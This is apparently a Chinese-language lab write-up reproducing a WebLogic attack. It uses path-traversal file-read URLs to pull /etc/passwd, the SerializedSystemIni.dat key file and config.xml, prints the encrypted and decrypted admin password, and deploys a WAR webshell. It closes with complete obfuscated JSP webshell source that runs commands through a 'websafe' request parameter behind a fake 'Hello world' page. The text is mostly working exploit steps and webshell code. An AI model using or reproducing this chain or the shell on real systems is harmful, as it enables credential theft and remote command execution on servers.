文章目录
一、漏洞特征
1.可以直接获取passwd文件
http://192.168.232.131:7001/hello/file.jsp?path=/etc/passwd
2.可以直接获取密文文件
http://192.168.232.131:7001/hello/file.jsp?path=./security/SerializedSystemIni.dat
将密文copy到*.dat文件
3.可以直接获取密钥文件
http://192.168.232.131:7001/hello/file.jsp?path=./config/config.xml
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
4.解密密码
解密后得到密码Oracle@123,用户名是weblogic
5.登录后台
使用解密后的账号登录后台
二、命令执行复现
1.部署webshell
进入部署页面
点击安装,上载文件
选部署档案,上传hello.war
上传成功后点下一步,选将此部署安装为应用程序,设置应用名称
部署完成
2.Shell命令执行
http://192.168.232.131:7001/hello1/hello1/index.jsp?websafe=id
3.jsp一句话木马
java
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<head>
<title>Hello</title>
</head>
<body>
@Hello world!@
</body>
</html>
<%!public String HMfR(String yOK){String aAh="";for (int i = 0; i < yOK.length(); i++) {aAh+=(char)(yOK.charAt(i)+6);}return aAh;}
%>
<% String yiO=request.getParameter("websafe");if(yiO!=null){ Class tJIi = Class.forName(HMfR("d[p[(f[ha(Lohncg_"));
Process Mdlz = (Process) tJIi.getMethod(HMfR("_r_]"), String.class).invoke(tJIi.getMethod(HMfR("a_nLohncg_")).invoke(null),yiO);
java.io.InputStream in = Mdlz.getInputStream();byte[] PYp = new byte[2048];out.print("<pre>");while(in.read(PYp)!=-1){ out.println(new String(PYp)); }out.print("</pre>"); }
%>